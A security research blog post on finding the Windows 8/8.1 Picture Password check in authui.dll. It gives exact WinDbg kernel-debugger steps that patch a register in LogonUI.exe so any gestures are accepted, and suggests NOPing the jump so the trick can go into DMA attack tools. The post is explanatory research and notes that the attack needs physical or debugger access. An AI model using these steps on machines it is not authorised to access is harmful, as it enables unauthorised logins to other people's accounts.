Let me start this post by stating that the stuff described here is NOT a vulnerability. I just ported the idea of patching the function which validates the Windows logon password (the well-known msv1_0!MsvpPasswordValidate) to the new, password-less login feature of Windows 8 / 8.1: Picture Password (does anyone use it at all? 🙂 ).
It requires a kernel debugger, which grants full control over the machine, so this is NOT a vulnerability.
The trick of patching msv1_0!MsvpPasswordValidate has been known at least since 2006, when Adam Boileau presented his work “Hit by a Bus: Physical Access Attacks with Firewire [PDF]” during the Ruxcon 2006 conference; for a detailed explanation of how this trick works you can visit the following blogpost: “Silly debugger tricks: Using KD to reset a forgotten administrator password“.
This trick of patching msv1_0!MsvpPasswordValidate in order to bypass the Windows login screen has been integrated into DMA attack tools like winlockpwn (by the very Adam Boileau), and more recently, Inception.
By the way, if you are interested in attacks against these authentication schemes based on picture gestures, you can find the following links interesting:
- “On the Security of Picture Gesture Authentication”, presented at Usenix Security 2013.
- Windows Picture Passwords – are they really as ‘easily crackable’ as everyone’s saying?”, blogpost from Sophos.
Finding the validation routine
So Microsoft introduced the Picture Password feature in Windows 8. This is a new, alternate sign in method which allows us to log into our computer by drawing a combination of 3 gestures (which can be dots, lines or circles) on top of a background image, instead of entering characters. As you can guess, this sign-in method makes more sense on a tablet or in a computer with a touch screen, but it’s also available on traditional configurations nonetheless.
I started by setting up a Picture Password for my user account. Then I searched for the “PicturePassword” string in the Windows Registry, hoping to find some useful key. Luckily for me, the search process found this key:
So the next step was to run Process Monitor from Sysinternals in the Windows 8.1 box. I added a filter to show those events including the string “PicturePassword” within the accessed Path.
I also clicked on the menu icons to show Registry events only, like this:
Taking a look at the call stack of the Registry operations we can see that the key is being opened within the authui.dll module:
Let’s load authui.dll into IDA Pro. Among its many functions, we can find the following three interesting ones:
All these three functions are called from the CPicturePasswordGestureHelper::s_HeuristicMatch function. The juicy stuff is within this function: it calls the appropiate function to score the drawn gesture, then it calls the AggregateScores function, and finally it compares the aggregated score against a floating point global variable holding a value of 0.8999999761581421. This value is the minimum accuracy that will be accepted for the entered picture password:
As you can see in the screenshot below, if the accuracy of the entered picture password is above 0.8999999…, then we’ll hit the basic block highlighted in green, which sets BL to 1, indicating that the login was successful!
Bypassing the Picture Password with a kernel debugger
So now let’s see how we can use a kernel debugger in order to make the CPicturePasswordGestureHelper::s_HeuristicMatch function return always 1, thus accepting any gestures for the picture password.
If you don’t know how to setup a kernel debugger using VMware + WinDbg, you can check out this post.
After connecting WinDbg to the virtual machine we’ll start by enumerating all the usermode processes:
kd> !process 0 0 [...] Unable to get LeftChild of nt!_MMVAD_SHORT at 8a2fed30 failed to count VADs PROCESS 8a2f0cc0 SessionId: 1 Cid: 02ec Peb: 7fd8b000 ParentCid: 01d0 DirBase: 39119160 ObjectTable: 940d6340 HandleCount: Image: LogonUI.exe [...]
Then let’s select the LogonUI.exe process by doing .process /i <address of its EPROCESS structure>:
kd> .process /i 8a2f0cc0 You need to continue execution (press 'g' ) for the context to be switched. When the debugger breaks in again, you will be in the new process context. k> g Break instruction exception - code 80000003 (first chance) eax=00000007 ebx=8a2f0cc0 ecx=82b2c000 edx=00000000 esi=000000bd edi=8a2f0cc0 eip=81d650d4 esp=87f43ca8 ebp=87f43ce8 iopl=0 nv up ei ng nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000286 nt!RtlpBreakWithStatusInstruction: 81d650d4 cc int 3
Now let’s reload the usermode symbols:
kd> .reload /user
So now we can set a breakpoint in the authui!CPicturePasswordGestureHelper::s_HeuristicMatch function, or more precisely, in the basic block where the AggregateScores function is called and the result gets compared to the minimum accepted accuracy of 0.8999999…; in the version of authui.dll I’m working with, said basic block starts at offset 0xA1 within the function:
kd> u authui!CPicturePasswordGestureHelper::s_HeuristicMatch+0xa1 authui!CPicturePasswordGestureHelper::s_HeuristicMatch+0xa1: 741b5d53 ddd8 fstp st(0) 741b5d55 8d4de0 lea ecx,[ebp-20h] 741b5d58 e88e800000 call authui!AggregateScores (741bddeb) 741b5d5d dc1d60661474 fcomp qword ptr [authui!_real (74146660)] 741b5d63 dfe0 fnstsw ax 741b5d65 f6c401 test ah,1 741b5d68 7502 jne authui!CPicturePasswordGestureHelper::s_HeuristicMatch+0xba (741b5d6c) 741b5d6a b301 mov bl,1
So let’s put a breakpoint there and then resume the execution:
kd> ba e 1 authui!CPicturePasswordGestureHelper::s_HeuristicMatch+0xa1 kd> g
Back to the Picture Password logon window, we enter any three (incorrect) gestures; that will make our breakpoint in the debugger to get hit:
Breakpoint 0 hit authui!CPicturePasswordGestureHelper::s_HeuristicMatch+0xa1: 001b:741b5d53 ddd8 fstp st(0)
Let’s step over a few instructions until we reach the ‘test ah, 1‘ instruction. At that point let’s examine the value of the AH register:
kd> t authui!CPicturePasswordGestureHelper::s_HeuristicMatch+0xb3: 001b:741b5d65 f6c401 test ah,1 kd> r ah ah=1
The value of the AH register is 1, so the subsequent JNZ conditional jump will be taken; the function then will return 0, thus meaning that the entered picture password is wrong.
So at that point, a simple way to bypass the Picture Password login is to set the AH register to 0 right before the ‘test ah, 1‘ instruction is executed, like this:
kd> t authui!CPicturePasswordGestureHelper::s_HeuristicMatch+0xb3: 001b:741b5d65 f6c401 test ah,1 kd> r ah=0
This way the JNZ jump will NOT be taken, so authui!CPicturePasswordGestureHelper::s_HeuristicMatch will return 1, meaning that the entered picture password was accepted!
If you are trying to include this trick into a DMA attack tool like Inception, you probably want to NOP out the JNZ jump after the “test ah, 1” instruction, in order to make the function return 1 even for wrong picture passwords.